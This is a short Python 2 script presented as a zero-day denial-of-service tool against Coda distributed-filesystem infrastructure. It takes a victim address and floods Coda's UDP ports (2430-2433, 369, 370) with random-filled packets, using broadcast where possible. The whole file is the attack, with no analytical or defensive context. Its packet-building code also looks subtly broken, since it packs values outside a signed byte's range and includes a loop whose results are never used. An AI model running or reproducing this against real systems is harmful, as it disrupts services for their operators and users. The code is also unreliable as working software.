#!/usr/bin/python2
#
# 0day coda infrastructure d0s thinger
# - andrewg
#

import os, sys, struct, socket, random

if len(sys.argv) < 2:
	print sys.argv[0] + " address_of_victim"
	sys.exit(-1)


header = struct.pack(">l", 8)

rnd = random.seed(232)
n = 0

for i in range(1, 20, 1):
	pkt = header
	j = random.randint(1, 512)
	for k in range(1, j, 1): l = random.randint(1, 65535)
	j = random.randint(1, 512)
	for j in range(1, j, 1):
		pkt += struct.pack("<b", random.randint(1, 256))

	for m in 2430, 2431, 2432, 2433, 369, 370:
		s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
		try:
			s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
		except:
			if(n == 0): print "Unable to set broadcast"
			n = 1
			
		s.connect((sys.argv[1], m))
		s.send(pkt)
		s.close()

print "[d0s sent]"
